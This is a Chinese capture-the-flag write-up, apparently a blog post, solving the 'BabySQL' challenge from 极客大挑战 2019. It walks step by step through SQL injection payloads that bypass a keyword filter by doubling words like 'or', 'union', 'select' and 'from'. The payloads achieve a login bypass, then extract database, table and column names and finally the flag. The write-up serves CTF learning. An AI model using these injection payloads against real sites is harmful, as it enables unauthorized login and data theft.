[极客大挑战 2019]BabySQL
[极客大挑战 2019]BabySQL
首先映入眼帘的是一个非常经典的登录界面

我们先尝试判断一下这是什么注入点
输入个1'看看怎么个事

发现输入的1'被双引号包裹,再次输入1" 显示密码不匹配,输入1' or 1=1--+万能密码试试

这里应该是过滤了or 和+,用空格代替+尝试下大小写绕过不行,最后发现可以双写or绕过得到
1' oorr 1=1 -- ,这里意外的登录成功了

赶紧拿去试试看看是不是flag,结果也是不出意料的错了。还是老老实实回来注入,先判断字段数
1' oorrder by 3 -- ,又又又报错了

这里我怀疑又被过滤了,尝试看看是不是by过滤构造payload:1' oorrder bbyy 3 --
可以了没有报错

把3改成4发现提示字段数不一样,确定字段数为3,接下来就是枯燥无味的注入构造payload:
1' and union select 1,2,database() --
真服了这个老六,又报错了,一看又是过滤了union和select,
继续双写绕过
1' and ununionion selselectect 1,2,database() --

得到库名,
接着看看所有的库名看看有没有什么需要的信息
1' and ununionion selselectect 1,2,group_concat(schema_name) from information_schema.schemata --

很显然,又被过滤了,继续双写,发现只有from被过滤了,information是因为含有or被过滤的。
于是构造payload:
1' and ununionion selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata --

这里能够发现一个特殊的库ctf,于是根据这个库爆表名
1' and ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables where table_schema='ctf'--

这里where被过滤了,继续双写
1' and ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'--

得到了Flag表,继续爆列名
1' and ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'--
得到一个flag字段

获取信息
1' and ununionion selselectect 1,2,flag frfromom ctf.Flag--

得到flag。
总结:这个题过滤了非常多的关键字,需要掌握好过滤方法,不然真的会被搞崩溃。

浙公网安备 33010602011771号